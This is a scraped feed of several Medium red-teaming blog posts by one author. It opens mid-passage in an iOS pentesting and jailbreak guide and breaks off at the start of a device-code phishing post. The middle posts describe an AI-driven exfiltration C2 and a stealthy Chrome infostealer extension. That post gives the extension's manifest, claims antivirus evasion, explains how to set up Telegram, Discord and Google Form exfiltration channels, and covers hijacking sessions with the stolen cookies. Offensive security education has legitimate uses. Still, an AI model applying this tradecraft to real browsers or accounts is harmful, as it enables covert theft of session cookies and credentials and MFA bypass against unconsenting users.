ATS settings for network security).</li><li><strong>Executable binary</strong> (e.g., YourApp — the Mach-O file; encrypted on App Store downloads).</li><li><strong>Frameworks/</strong>: Embedded third-party or custom frameworks (check for vulnerable libs here).</li><li><strong>Resources</strong>: Assets like images, storyboards, localized strings.</li><li><strong>PlugIns/</strong> (extensions like widgets or watch apps).</li><li>Other files: <strong>embedded.mobileprovision</strong> (provisioning profile with entitlements and signing info), <strong>_CodeSignature/</strong> (code signing data).</li></ul><p><strong>Pro Tip for Pentesting</strong>: During static analysis, unzip the .ipa and inspect Info.plist for insecure settings (e.g., allow arbitrary loads via NSAllowsArbitraryLoads). Look in Frameworks/ for known vulnerable libraries.</p><h4>2.3 Sandboxing in iOS</h4><p>Every iOS app runs in its own <strong>sandbox</strong> — a restricted environment that limits access to the filesystem, other apps, and system resources.</p><ul><li><strong>App Bundle Container</strong> (read-only): Contains the installed app files (Payload/YourApp.app). Apps can’t modify their own bundle.</li><li><strong>Data Container</strong> (read-write): <strong>Where user data lives:</strong></li><li><strong>Documents/</strong>: User-generated files (backed up to iCloud/iTunes).</li><li><strong>Library/</strong>: Caches, Preferences (e.g., NSUserDefaults), Application Support (databases like SQLite/Realm).</li><li><strong>tmp/</strong>: Temporary files (cleared on low memory or app close).</li><li><strong>iCloud Container</strong> (optional): For synced data (Documents &amp; Data subfolders).</li></ul><p><strong>Sandbox paths on a device (jailbroken view):</strong></p><blockquote><strong>App bundle:</strong> /var/containers/Bundle/Application/[UUID]/YourApp.app</blockquote><blockquote><strong>Data container:</strong> /var/mobile/Containers/Data/Application/[UUID]/</blockquote><p><strong>Security Implication</strong>: Insecure storage often happens here (e.g., plaintext creds in Library/Preferences or SQLite). Jailbreaking bypasses sandbox restrictions for full access.</p><h3>3. Lab Setup: <strong><em>Jailbroken Real iOS Devices</em></strong></h3><p>To perform deep iOS pentesting — such as Frida hooking, keychain dumping, filesystem exploration, and runtime manipulation — a jailbroken device is essential. Jailbreaking removes Apple’s restrictions, granting root access and enabling powerful tools like Sileo/Zebra for tweaks.</p><p><strong>We use two jailbroken devices for comprehensive testing</strong>, since some tweaks and techniques work on one jailbreak but not another, and to cover different iOS versions using real devices::</p><ul><li><strong>iPhone 7</strong> (iOS 15.8.5) → <strong>Dopamine</strong> (semi-untethered, easy,great for older devices) ( <strong>iOS 15.0 → 16.6.1</strong>).</li><li><strong>iPhone X</strong> (iOS 16.7.12) → <strong>palera1n</strong> (checkm8-based exploit, supports A8 to A11 on iOS 15–16+).</li></ul><h4><strong>Jailbreak Your Devices</strong></h4><h4>First Jailbreak Method: Dopamine on iPhone 7 (iOS 15.8.5)</h4><p><strong>Dopamine (iPhone 7)</strong>: Install signed IPA via TrollStore/Sideloadly → open app → “Jailbreak”.</p><ul><li>Semi-untethered: After reboot, just reopen Dopamine and tap “Jailbreak” again.</li></ul><ol><li><strong>Download the Dopamine IPA Visit the official source:</strong> <a href="https://ellekit.space/dopamine/">https://ellekit.space/dopamine/</a> (or GitHub: <a href="https://github.com/opa334/Dopamine/releases">https://github.com/opa334/Dopamine/releases</a> for the latest version, e.g., 2.4.x as of 2026). Download the .ipa file directly to your computer.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*wpmuagCr02gr4ALstceTAA.png" /></figure><p><strong>2. Install Sideloadly and Sideload the IPA</strong></p><ul><li>Download and install Sideloadly on your macOS/Windows machine.</li><li>Connect your iPhone 7 via USB.</li><li>Open Sideloadly, drag the Dopamine .ipa into the app.</li><li>Enter your Apple ID (free developer account works; use a throwaway if concerned about privacy).</li><li>Click “Start” to sign and install. Wait for the process to complete.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*1AtOn7cPRxM2BnbD6oWiwQ.png" /></figure><p><strong>3. Trust the Developer Profile:</strong> After installation, the Dopamine app icon appears on your Home Screen but shows “Untrusted Developer.”</p><ul><li>Go to <strong>Settings &gt; General &gt; VPN &amp; Device Management</strong> (or Profiles &amp; Device Management).</li><li>Find your Apple ID under “Developer App.”</li><li>Tap it → <strong>Trust</strong> → confirm.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*O5xYSod7qCX4U6m2uGNAWA.png" /></figure><p><strong>4. Now you can open the Dopamine app and Tap Jailbreak.</strong></p><ul><li>It will prompt you to select package managers: Install both <strong>Sileo</strong> and <strong>Zebra</strong> (recommended for flexibility).</li><li>Set a sudo password when prompted (this is for root access via SSH later — choose something secure but memorable).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NvW44NOdpRBHY8U_gFRE2Q.jpeg" /></figure><ul><li>The device will respring (restart SpringBoard) a few times.</li><li>Once complete, reopen Dopamine — it should show the device as jailbroken.</li><li>Sileo and Zebra icons will appear on your Home Screen.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*obvep6VQWA9-7iRSDpBRWA.png" /></figure><h4>Second Jailbreak Method: palera1n on iPhone X (iOS 16.7.12)</h4><ul><li>palera1n is semi-tethered (requires computer to re-jailbreak after reboot) but leverages the unpatchable checkm8 bootrom exploit. Rootless mode is recommended for pentesting to avoid filesystem conflicts.</li></ul><p><strong>1: Handle Passcode on A11 Devices (Critical!)</strong> For A11 devices (iPhone X, 8/8 Plus) on iOS 16:</p><ul><li>You <strong>must disable the passcode</strong> (and cannot use Face ID/Touch ID, Apple Pay, etc., while jailbroken).</li><li>If a passcode was ever set on iOS 16, you likely need to <strong>erase all content and settings</strong> first (Settings &gt; General &gt; Transfer or Reset iPhone &gt; Erase All Content and Settings).</li><li>Backup everything before erasing. Set up the device fresh without adding a passcode until after jailbreak.</li><li>This is due to SEP (Secure Enclave Processor) limitations — no workaround exists currently.</li></ul><p><strong>2: Install palera1n on macOS</strong></p><ul><li>Open Terminal and Run the official install script</li></ul><pre>sudo /bin/sh -c &quot;$(curl -fsSL https://static.palera.in/scripts/install.sh)&quot;</pre><p>Verify installation:</p><pre>which palera1n<br>palera1n --help</pre><ul><li>(Alternative: Download binary from <a href="https://github.com/palera1n/palera1n/releases,">https://github.com/palera1n/palera1n/releases,</a> make executable with chmod +x and xattr -c.)</li></ul><p>3. <strong>Run palera1n (Rootless Recommended)</strong></p><ul><li>Connect iPhone X via USB (use a reliable Lightning cable — DFU is cable/port sensitive).</li><li>Recommended for pentesting: Rootless mode (no need for APFS volume creation). Run:</li></ul><pre>palera1n -l -s rootless</pre><ul><li>(Or for rootful if needed: palera1n -cf to create volume first, then palera1n -f.)</li><li>Follow on-screen prompts: palera1n enters recovery mode, then guides you to DFU mode.</li><li>Enter DFU: Press Volume Up → Volume Down → hold Side button until screen goes black, then hold Side + Volume Down for ~10 seconds (timing is key — practice first).</li><li>palera1n uploads ramdisk, exploits checkm8, and boots jailbroken. Expect 2–3 reboots/resprings.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hSC5-2hwqb6KWGEq-dXVTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dqxkBJkvlo1p0PocOqszUA.png" /></figure><ul><li>Once done, the palera1n app appears — use it to install Sileo/Zebra.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uW_7VqZcht8JkzUXOgSriw.jpeg" /></figure><h4><strong>Troubleshooting Tips:</strong></h4><ul><li>DFU fails? Try different USB ports/cables; retry DFU sequence exactly.</li><li>Stuck in pongoOS/recovery? Ctrl+C to stop, rerun command, re-enter DFU.</li><li>For A11 on iOS 16: Ensure no passcode history — erase if needed.</li></ul><p>After both jailbreaks, your devices are ready for advanced pentesting. In the next section, we’ll cover shell access, IPA Signing, Dumping, decrypting and Burp setup.</p><p>Stay tuned for Part 2! Clap, follow, and comment if you hit any issues during these steps. #MasteringiOSPentesting #Jailbreak #MobileSecurity</p><p>if you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p><strong>Certifications:</strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=200ae1dc7542" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Modern Red Teaming Infrastructure — Part 9: SilentMind-AI-C2—Automating…]]></title>
            <link>https://medium.com/@frsfaisall/mastering-modern-red-teaming-infrastructure-part-9-silentmind-ai-c2-automating-e5db56c1b239?source=rss-9dc9cf497be------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5db56c1b239</guid>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Tue, 09 Sep 2025 14:02:37 GMT</pubDate>
            <atom:updated>2025-09-09T14:02:37.032Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mastering Modern Red Teaming Infrastructure — Part 9: SilentMind-AI-C2—Automating Post-Exploitation Data Exfiltration with AI-Powered Decision Making</h3><p>In this part of the <em>Mastering Modern Red Teaming Infrastructure</em> series, we introduce <strong>SilentMind-AI-C2. </strong>an AI-powered Command &amp; Control tool for automated post-exploitation data exfiltration. By leveraging large language models (LLM), it analyzes and prioritizes high-value files and browser data across compromised systems, reducing manual effort while maintaining stealth and efficiency during red teaming.</p><p><em>Disclaimer: This research is for educational and authorized simulation purposes only.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tdCQDztDpIaONmaKO3U1UA.png" /></figure><h3>Table of Contents</h3><p>1. The Challenge: Scaling Post-Exploitation Operations<br>2. The Problem with Manual Data Analysis <br>3. SilentMind-AI-C2 &amp; Core Features <br>4. Technical Architecture<br>5. Real-World Use Cases<br>6. Implementation Details<br>8. Final Thoughts.</p><h3>The Challenge: Scaling Post-Exploitation Operations</h3><p>In modern red team engagements, we often find ourselves with access to multiple compromised systems. The traditional approach of manually sifting through thousands of files to identify sensitive data is not only time-consuming but also prone to human error. What if we could leverage AI to make intelligent decisions about which files to prioritize for exfiltration?</p><p>This is where <strong>SilentMind-AI-C2</strong> comes in. a revolutionary tool that combines artificial intelligence with automated data exfiltration capabilities to streamline post-exploitation operations.</p><h3>The Problem with Manual Data Analysis During Red Teaming</h3><p>During red team exercises, we typically encounter:</p><ul><li><strong>Hundreds of files</strong> across multiple systems</li><li><strong>Limited time</strong> to analyze each file manually</li><li><strong>High risk of missing</strong> critical information</li><li><strong>Inconsistent prioritization</strong> of data based on file names alone</li><li><strong>Browser data extraction</strong> that requires specialized knowledge</li></ul><p>Traditional tools like find and grep help locate files, but they don&#39;t understand context or prioritize based on potential value to the engagement objectives.</p><h3>SilentMind-AI-C2 &amp; Its Features</h3><p>SilentMind-AI-C2 is an AI-powered Command &amp; Control tool designed specifically for red team operations. It addresses the core challenges of post-exploitation data gathering through intelligent automation.</p><h3>Core Features</h3><h4><strong>AI-Powered Decision Making</strong></h4><ul><li>Uses Large Language Models (LLM) to analyze file content and context</li><li>Makes intelligent decisions about which files to prioritize</li><li>Considers file names, extensions, and content relevance</li><li>Integrates with both Ollama (local) and OpenAI (cloud) models</li></ul><h4><strong>Automated Browser Data Extraction</strong></h4><ul><li>Extracts Firefox cookies with full metadata</li><li>Parses SQLite databases using proper database queries</li><li>Formats data in human-readable format</li><li>Handles locked database files gracefully</li></ul><h4><strong>Security-First Design</strong></h4><ul><li>XOR encryption for all data transmission</li><li>Stealth operations with no visible windows</li><li>Automatic cleanup of temporary files</li><li>Error handling without system crashes</li></ul><h4><strong>Intelligent File Exfiltration</strong></h4><ul><li>Scans Documents folder for sensitive files</li><li>Encrypts data before transmission</li><li>Sends only AI-selected high-value files</li><li>Reduces network traffic and detection risk</li></ul><h3>Technical Architecture</h3><h4>Client-Server Model</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B3pZE0-7YJf5hZanb93_Iw.png" /></figure><h4>Workflow</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K9haiKcuO9Fnf1mtFTWm1Q.png" /></figure><h3>Real-World Use Cases</h3><h4>Scenario 1: Multi-System Engagement</h4><p>Imagine a red team engagement where you’ve gained access to 40 workstations. Each system contains hundreds of files. Instead of manually analyzing each one:</p><ol><li>Deploy SilentMind-AI-C2 to all systems</li><li>Let AI prioritize files based on content and context</li><li>Focus on high-value targets identified by the AI</li><li>Extract browser data for session hijacking</li></ol><h4>Scenario 2: Time-Critical Operations</h4><p>During a time-sensitive engagement where you have limited access:</p><ol><li>Deploy the tool quickly</li><li>Let AI make rapid decisions about file priority</li><li>Extract only the most valuable data</li><li>Achieve objectives within the time window</li></ol><h4>Scenario 3: Stealth Operations &amp; Network Security</h4><p>For engagements requiring maximum stealth:</p><ol><li>Tool operates silently without visible windows</li><li>Encrypts all data before transmission</li><li>Cleans up temporary files automatically</li><li>Reduces detection risk through intelligent selection</li><li>HTTP-based communication for simplicity</li><li>Encrypted payloads prevent content analysis</li><li>Minimal network footprint through selective exfiltration</li></ol><h3>Implementation Details</h3><p>The complete implementation details, including server setup, client compilation, and AI decision-making processes, are available in the GitHub repository. <br><strong>The LLM analyzes files based on:</strong></p><ol><li>File names and extensions</li><li>File sizes and modification dates</li><li>Content context and relevance</li><li>Engagement objectives</li></ol><p><strong>GitHub Repository:</strong> <a href="https://github.com/0xFFF-cmd/SilentMind-AI-C2">https://github.com/0xFFF-cmd/SilentMind-AI-C2</a></p><h3>Final Thoughts.</h3><p>This simulation highlights the <strong>power of AI-driven automation</strong>in red team operations—particularly in post-exploitation data exfiltration scenarios. It demonstrates how intelligent decision-making can dramatically improve the efficiency and effectiveness of data-gathering operations while maintaining operational security.</p><h4>Red Team Takeaways:</h4><p>🔥 Automated post-exploitation data gathering across multiple systems<br>🔥 Ideal for time-critical engagements where manual analysis is not feasible<br>🔥 Demonstrates how AI can enhance red team operations while maintaining stealth<br>🔥 Perfect for testing DLP systems and data protection policies</p><h4>Blue Team Defenses:</h4><p>🔷 Implement comprehensive file monitoring and access controls<br>🔷 Deploy AI-powered detection systems to identify automated exfiltration attempts<br>🔷 Monitor for unusual file access patterns and data movement<br>🔷 Enhance DLP systems with machine learning capabilities for better detection</p><p>As AI technology continues to evolve, we can expect to see more sophisticated tools that leverage machine learning for offensive security operations. The open-source nature of SilentMind-AI-C2 allows the security community to study, improve, and defend against these techniques.</p><p><strong>GitHub Repository: </strong><a href="https://github.com/0xFFF-cmd/SilentMind-AI-C2"><strong>https://github.com/0xFFF-cmd/SilentMind-AI-C2</strong></a></p><p>Stay tuned for Part 10.</p><p>If you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p><strong>Certifications:</strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5db56c1b239" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Modern Red Teaming Infrastructure — Part 8: Simulating APT Infostealer via Stealthy…]]></title>
            <link>https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-8-simulating-apt-infostealer-via-stealthy-ab128dbb83c6?source=rss-9dc9cf497be------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab128dbb83c6</guid>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[redteam-tool]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Mon, 05 May 2025 01:25:34 GMT</pubDate>
            <atom:updated>2025-05-05T09:30:08.639Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mastering Modern Red Teaming Infrastructure — Part 8: Simulating APT Infostealer via Stealthy Browser Extension for Cookie Exfiltration (Telegram, Discord &amp; Google Forms)</h3><blockquote>In this part of the “Mastering Modern Red Teaming Infrastructure” series, we explore the design and deployment of a stealthy Chrome extension tailored for red team simulations. This tool is built to silently extract valuable session data such as all saved browser cookies (including Azure AD), clipboard content, and device fingerprints and exfiltrate them on Telegram, Discord and Google form while maintaining strong OPSEC.</blockquote><blockquote><strong>Disclaimer:</strong> This is meant for educational and simulation purposes only.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SRBZIcgpbOXAFV9i2TLp9Q.jpeg" /></figure><h3>Table of Contents</h3><ol><li>VirusTotal AV Bypass Verification</li><li>Red Team Extension Design &amp; Features</li></ol><ul><li>Cookie Exfiltration</li><li>Clipboard Data Capture</li><li>Device Fingerprinting</li><li>Tab Monitoring</li><li>Stealthy OPSEC Measures</li><li>Extension Persistence</li></ul><p>3. Building the Malicious Chrome Extension: POC Code</p><p>4. Setup Exfiltration Channels</p><ul><li>Telegram Bot Setup</li><li>Discord Webhook Setup</li><li>Google Form Setup</li></ul><p>5. Hijacking Sessions Using Stolen Cookies (Manual or Automated)</p><p>6. Real-World APT Reference</p><p>7. Final Thoughts</p><h3>1. VirusTotal AV Bypass Verification</h3><p>To test the stealthiness of our Chrome extension, we generated a packed version and submitted it to <strong>VirusTotal</strong> for analysis. The results confirmed that <strong>none of the 61 antivirus (AV) engines flagged the extension as malicious</strong>, demonstrating its ability to evade detection.</p><h4>VirusTotal Scan Results:</h4><p><em>No AV detected the extension as malicious.</em></p><p>This confirms the effectiveness of the implemented OPSEC measures, including<br> ✅ <strong>No static signatures matching known threats</strong><br> ✅ <strong>Randomized network requests</strong> to avoid pattern detection<br> ✅ <strong>Encrypted exfiltration channels</strong> to bypass heuristic analysis<br> ✅ <strong>Stealthy background execution</strong> without console logs or suspicious behaviors</p><p>Such results reinforce the need for blue teams to improve defenses against malicious browser extensions, as traditional antivirus solutions are ineffective in detecting these types of threats.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R6J2eauSVdJrUz-2xxtVnA.png" /><figcaption>VirusTotal AV Bypass Verification</figcaption></figure><h3>2. Red Team Extension Design &amp; Features</h3><h4>2.1 Cookie Exfiltration</h4><p>Captures <strong>all saved cookies</strong> across domains, not just Azure-related ones. Cookies are formatted into structured JSON for easier importing using browser extensions or automation tools.</p><p>Sample structure:</p><pre>[<br>  {<br>    &quot;domain&quot;: &quot;.example.com&quot;,<br>    &quot;name&quot;: &quot;sessionid&quot;,<br>    &quot;value&quot;: &quot;abc123&quot;,<br>    &quot;path&quot;: &quot;/&quot;,<br>    &quot;httpOnly&quot;: true,<br>    &quot;secure&quot;: true<br>  },<br>  ...<br>]</pre><h4>2.2 Clipboard Data Capture</h4><p>Hooks into the clipboard to capture sensitive copied text.</p><p>⚠️ Clipboard access may be restricted depending on the Chromium version and whether the access occurs in a background context. In practice, capturing clipboard content reliably may require tab injection.</p><h4>2.3 Device Fingerprinting</h4><p>Captures:</p><ul><li>User agent</li><li>Screen resolution</li><li>Platform</li><li>Timezone</li><li>Language</li></ul><h4>2.4 Tab Monitoring</h4><p>Watches for tab focus or changes and logs tab titles and URLs for behavior profiling.</p><h4>2.5 Stealthy OPSEC Measures</h4><ul><li>No console logs</li><li>All fetches are async and silent</li><li>Randomized intervals</li><li>Avoids detection from standard monitoring tools</li></ul><h4>2.6 Extension Persistence</h4><p>The extension uses a background service worker and manifest to ensure it reloads upon browser restart.</p><p>The extension is also set to auto-reinstall if removed via a controlled enterprise policy simulation in the lab.</p><h3>3. Building the Malicious Chrome Extension: POC Code</h3><p>The core functionality is divided into background, content, and utility scripts. Below is a simplified outline of the payload structure.</p><p><strong>manifest.json</strong></p><pre>{<br>    &quot;manifest_version&quot;: 3,<br>    &quot;name&quot;: &quot;Authorized Red Team Extension - Advanced APT Simulation&quot;,<br>    &quot;version&quot;: &quot;3.0&quot;,<br>    &quot;description&quot;: &quot;Chrome extension for red team simulation in an isolated lab with full authorization.&quot;,<br>    &quot;permissions&quot;: [<br>      &quot;cookies&quot;,<br>      &quot;history&quot;,<br>      &quot;tabs&quot;,<br>      &quot;clipboardRead&quot;,<br>      &quot;storage&quot;<br>    ],<br>    &quot;host_permissions&quot;: [<br>      &quot;&lt;all_urls&gt;&quot;<br>    ],<br>    &quot;background&quot;: {<br>      &quot;service_worker&quot;: &quot;background.js&quot;<br>    },<br>    &quot;action&quot;: {<br>      &quot;default_title&quot;: &quot;Diagnostics&quot;<br>    }<br>  }</pre><p><strong>background.js (core logic on my Github)</strong></p><p><a href="https://github.com/0xFFF-cmd/Infostealer-Extension/blob/main/background.js">Infostealer-Extension/background.js at main · 0xFFF-cmd/Infostealer-Extension</a></p><p><strong>Load the Extension</strong></p><ol><li>Open Chrome and navigate to:</li></ol><p>chrome://extensions/</p><p>2. Enable <strong>Developer Mode</strong>.</p><p>3. Click <strong>“Load Unpacked”</strong>.</p><p>4. Select the extension Infostealer-Extension folder.</p><p>The extension silently runs and starts collecting session cookies and others in the background and exfiltrates the data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ocPCOZMhNPrPY_02AG_7MQ.png" /><figcaption>Exfiltrate vía Discord.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mn1wh1jKlYnV0SQiXbaZqQ.png" /><figcaption>Exfiltrate vía Google Form.</figcaption></figure><h3>4. Setup Exfiltration Channels</h3><h4>4.1 Telegram Bot Setup</h4><p>To set up Telegram exfiltration:</p><ol><li>Open Telegram and talk to @BotFather</li><li>Create a new bot: /newbot</li><li>Copy your BOT_TOKEN</li><li>Send a message to your bot.</li><li>Visit: <a href="https://api.telegram.org/bot">https://api.telegram.org/bot</a>&lt;YOUR_BOT_TOKEN&gt;/getUpdates</li><li>Copy your chat.id</li></ol><h4>4.2 Discord Webhook Setup</h4><ol><li>Open a Discord server.</li><li>Go to Channel Settings &gt; Integrations &gt; Webhooks</li><li>Create a webhook and copy the full URL: <a href="https://discord.com/api/webhooks/WEBHOOK_ID/WEBHOOK_TOKEN">https://discord.com/api/webhooks/WEBHOOK_ID/WEBHOOK_TOKEN</a></li></ol><h4>4.3 Google Form Setup</h4><ol><li>Create a Google Form with a paragraph field for cookie data.</li><li>Open the form preview, inspect the input, and get the entry.&lt;id&gt; value.</li></ol><pre>const GOOGLE_FORM_URL = &quot;https://docs.google.com/forms/d/e/.../formResponse&quot;;<br>const FORM_COOKIE_FIELD = &quot;entry.717920838&quot;;</pre><h3>5. Hijacking Sessions Using Stolen Cookies (Manual or Automated)</h3><p>You can use the exfiltrated cookies by importing them with browser tools such as:</p><ul><li>EditThisCookie</li><li>Cookie-Editor</li><li>Burp Suite for replaying API calls</li></ul><p><strong>Automation Tip:</strong> Use Puppeteer or Playwright with page.setCookie(...) to automate session hijacking in simulations.</p><h3>6. Real-World APT Reference</h3><p>This simulation emulates tactics observed in:</p><ul><li>APT29 (Cozy Bear): Credential and token theft via browser extensions.</li><li>APT40: Targeted cookie/session hijacking in cloud environments.</li><li>UNC2452 (SolarWinds breach): Advanced OPSEC and stealthy data exfiltration.</li></ul><h3>7. Final Thoughts</h3><p>This simulation highlights the <strong>risk of browser extensions</strong> — particularly those with cookie access. It demonstrates how stolen session cookies can bypass MFA and enable full access to critical application and cloud accounts.</p><h4><strong>Red teams</strong> Takeaways</h4><p>🔥 Can be used for <strong>targeted session hijacking</strong> in phishing campaigns<br> 🔥 Ideal for <strong>USB-drop or insider threat</strong> simulations<br> 🔥 Demonstrates how <strong>browser extensions remain a major attack vector</strong></p><h4><strong>Blue teams</strong> Defenses:</h4><p>🔹 Implement <strong>strict extension allowlists</strong><br> 🔹 Monitor for <strong>cookie exfiltration attempts</strong><br> 🔹 Detect <strong>logins from unusual geographies and device fingerprints</strong></p><h3>Next: Deeper Into The Shadows</h3><p>In the next part, we push further into <strong>2FA bypasses, hardcore credential theft, and social engineering exploits</strong>, exploring:</p><p>🔹 <strong>Browser-in-the-Browser (BitB) illusions</strong><br> 🔹 <strong>Click-Fix exploits</strong><br> 🔹 <strong>Captcha Copy-Paste traps</strong></p><p>Stay tuned for Part 9.</p><p>If you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p><strong>Certifications:</strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab128dbb83c6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-8-simulating-apt-infostealer-via-stealthy-ab128dbb83c6">Mastering Modern Red Teaming Infrastructure — Part 8: Simulating APT Infostealer via Stealthy…</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Modern Red Teaming Infrastructure Part 7: Advanced Phishing Techniques for 2FA Bypass…]]></title>
            <link>https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-7-advanced-phishing-techniques-for-2fa-bypass-85f9adc4dc3b?source=rss-9dc9cf497be------2</link>
            <guid isPermaLink="false">https://medium.com/p/85f9adc4dc3b</guid>
            <category><![CDATA[redteam-tool]]></category>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Sun, 27 Apr 2025 15:44:35 GMT</pubDate>
            <atom:updated>2025-04-27T15:44:35.155Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mastering Modern Red Teaming Infrastructure Part 7: Advanced Phishing Techniques for 2FA Bypass: Device code phishing, dynamic device codes phishing, Consent phishing and Evilginx</h3><blockquote>With organizations heavily relying on MFA/2FA for protection, red teamers and threat actors have adapted.<br> They no longer just steal passwords — they <strong>steal access</strong> by hijacking tokens, abusing OAuth flows, and bypassing 2FA completely.</blockquote><blockquote>In Part 7 of the “Mastering Modern Red Teaming Infrastructure” series, I will walk you through <strong>practical 2FA bypass attacks</strong> that simulate real-world adversaries include <strong>Device Code Phishing</strong>, <strong>Dynamic Device Code Flows</strong>, <strong>Consent and Permissions Attacks</strong>, and <strong>Evilginx2-based Session Hijacking</strong>.</blockquote><blockquote>Each technique includes <strong>a clear step-by-step flow</strong> based on modern offensive tradecraft.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*_GzfrbJMuPT33Kdd8E7j0g.png" /></figure><h3>Table of Contents</h3><ol><li><strong>Device Code Phishing</strong> — Static Approach</li><li><strong>Evilginx2</strong>— Man-in-the-Middle Phishing with Session Hijacking</li><li><strong>Dynamic Device Code Phishing</strong> — Live Code Phishing</li><li>Consent and Permissions Phishing (<strong>OAuth Consent Grant</strong>)</li><li>Why These Attacks Work</li><li>Real-World APT Examples: Who Uses These Techniques?</li><li>Final Thought</li></ol><h3>1. Device Code Phishing — Static Approach</h3><p><strong>Concept</strong>: Abuse the OAuth 2.0 Device Authorization Grant to capture authenticated sessions without stealing passwords.</p><p>Device Code Phishing exploits the OAuth 2.0 Device Authorization Grant flow by tricking victims into authorizing a malicious application. Attackers convince users to visit a legitimate cloud provider’s domain — such as Microsoft’s microsoft.com/devicelogin or Google’s google.com/device — and enter a legitimate-looking code. Once the victim submits the code and grants consent, the attacker obtains access tokens to access the victim’s resources, bypassing traditional credential-based protections and even multi-factor authentication (2FA).</p><p>This method is <strong>highly dangerous</strong> because it often <strong>bypasses traditional MFA protections</strong> — the authentication happens separately and outside the phishing page itself.</p><blockquote>⚡ <strong>Microsoft Warning:</strong><br> In February 2025, Microsoft issued a strong caution regarding <strong>Storm-2372</strong>, an active APT group conducting widespread <strong>Device Code Phishing campaigns</strong> targeting Microsoft 365 users. (<a href="https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/#Update-February-14">Source</a>)<br> Microsoft emphasized that this technique is <strong>rapidly growing among APTs</strong> because it <strong>abuses legitimate device login workflows</strong> and <strong>stealthily bypasses MFA</strong>.</blockquote><p>Device Code Phishing is no longer theoretical; it is now <strong>widely exploited in the wild</strong> by advanced threat actors for gaining <strong>persistent access to cloud environments</strong> without raising standard alerting mechanisms.</p><h4><strong>Steps</strong>:</h4><p><strong>1.1 Initiate Device Code Request (I will use the TokenTactics tool):</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hWlzhrVVWIa6YrXsTFLtuw.png" /></figure><p><strong>1.2. Send Phishing Email</strong></p><ul><li>Email user with a link to <a href="https://microsoft.com/devicelogin.">https://microsoft.com/devicelogin</a></li><li>Instruct user to <strong>enter the provided </strong><strong>user_code</strong> (you control it). here the code is <strong>LCSDQKUPQ</strong></li></ul><p><strong>1.3. Poll for Authentication</strong></p><p>When the victim enters the code and logs in, you immediately receive an <strong>access 